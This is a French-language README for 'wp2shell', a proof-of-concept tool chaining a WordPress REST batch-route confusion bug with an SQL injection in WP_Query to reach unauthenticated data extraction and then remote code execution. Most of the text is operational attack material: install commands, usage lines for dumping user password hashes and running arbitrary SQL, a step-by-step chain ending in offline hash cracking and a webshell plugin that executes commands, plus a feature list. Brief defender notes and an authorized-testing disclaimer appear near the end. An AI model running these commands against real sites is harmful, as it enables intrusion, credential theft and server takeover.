
CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)
Exécution de code à distance non authentifiée pour WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)
L'exploit wp2shell pour une chaîne de vulnérabilités critiques dans le noyau WordPress. Il enchaîne un bug de confusion de route batch de l'API REST avec une injection SQL dans WP_Query pour réaliser une exécution de code à distance non authentifiée sur des installations WordPress vulnérables.
| Détail | Info |
|---|---|
| CVEs | CVE-2026-63030 (REST batch route confusion) + CVE-2026-60137 (author__not_in SQLi) |
| Affecté | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Corrigé | 6.9.5, 7.0.2 |
| Authentification requise | Aucune — non authentifié |
| CVSS | Critique (chaîne RCE) |
| Découvert par | Adam Kues (Assetnote / Searchlight Cyber) |
| Dépendances | Python 3.8+ — bibliothèque standard uniquement |
L'exploit chaîne deux bugs dans le noyau WordPress :
CVE-2026-60137 — Injection SQL – Lorsque author__not_in est passé comme une chaîne au lieu d'un tableau, WordPress ignore la vérification de nettoyage is_array() et interpole la valeur brute dans une clause SQL NOT IN (...).
CVE-2026-63030 — Confusion de route batch – Le point d'accès /wp-json/batch/v1 construit des tableaux $matches et $validation en parallèle. Une sous-requête malformée est ajoutée à $validation mais pas à $matches, provoquant un décalage d'index de +1. La sous-requête i est envoyée avec le gestionnaire de la sous-requête i+1.
Enchaînés ensemble : Une requête POST /wp/v2/posts contenant une requête interne GET /wp/v2/users avec une chaîne author_exclude contourne à la fois la liste blanche des méthodes et le nettoyage des entrées. La chaîne atteint WP_Query sous la forme author__not_in et est interpolée dans le SQL — vous donnant une injection SQL aveugle non authentifiée.
À partir de là, l'outil peut :
git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
C'est tout. Aucun paquet tiers requis.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
Lance un menu interactif avec toutes les fonctionnalités disponibles via des options numérotées.
check — Confirmer la vulnérabilité (sécurisé)Effectue une sonde de délai pour confirmer l'exploitabilité. Ne lit aucune donnée et ne modifie rien.
./wp2shell.py http://target.com check
read — Extraire des données (Injection SQL aveugle)Extrait des informations de la base de données à l'aide d'une injection SQL aveugle basée sur le temps.
# Empreinte du serveur (version, base de données, utilisateur)
./wp2shell.py http://target.com read
# Extraire les identifiants et hachages de mots de passe utilisateur
./wp2shell.py http://target.com read --users
# Extraire le nom de la base de données
./wp2shell.py http://target.com read --database
# Extraire la version MySQL
./wp2shell.py http://target.com read --version
# Requête SQL personnalisée
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — Exécution de code à distanceNécessite des identifiants administrateur valides. L'injection SQL peut récupérer le hachage du mot de passe, mais vous devez fournir le mot de passe en clair récupéré.
# Exécuter une seule commande
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Exécuter une seule commande (forme courte)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. Vérifier si la cible est vulnérable
./wp2shell.py https://example.com check
# 2. Extraire les hachages de mots de passe administrateur
./wp2shell.py https://example.com read --users
# 3. Casser le hachage hors ligne (avec hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Exécuter une commande avec le mot de passe récupéré
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Branche | Affecté | Corrigé |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (SQLi uniquement, pas d'exécution de code) | 6.8.6 |
Les versions antérieures à 6.9.0 ne sont pas affectées par la chaîne complète d'exécution de code.
Pour les défenseurs :
POST /wp-json/batch/v1 avec des corps requests imbriqués404 sur la route batch ne signifie pas toujours « corrigé » — cela peut aussi signifier qu'un WAF/CDN bloque l'accès anonyme à l'API RESTCet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.
Pour plus de détails sur la vulnérabilité, consultez le blog de recherche de Searchlight Cyber.
| Fonctionnalité | Description |
|---|
| Vérification de vulnérabilité | Sonde de délai sécurisée — ne lit aucune donnée, ne modifie rien |
| Extraction de données | Injection SQL aveugle avec optimisation par recherche binaire pour une extraction efficace |
| Extraction de hachages utilisateur | Extraire les hachages user_login et user_pass de wp_users |
| Exécution de code à distance | S'authentifier en tant qu'admin, télécharger une extension webshell, exécuter des commandes |
| Shell interactif | Session d'exécution de commandes persistante |
| Sortie colorée | Retour visuel clair pour les résultats d'analyse |
| Aucune dépendance | Utilise uniquement la bibliothèque standard de Python |
| Option | Description |
|---|
--users | Extraire user_login et user_pass de wp_users |
--database | Extraire le nom de la base de données actuelle |
--version | Extraire la version MySQL |
--query "SQL" | Exécuter une requête SQL personnalisée (extraction aveugle) |
--user USER | Nom d'utilisateur admin pour l'exécution de code |
--password PASS | Mot de passe admin pour l'exécution de code (en clair, récupéré via SQLi) |
--cmd CMD | Commande à exécuter via le webshell |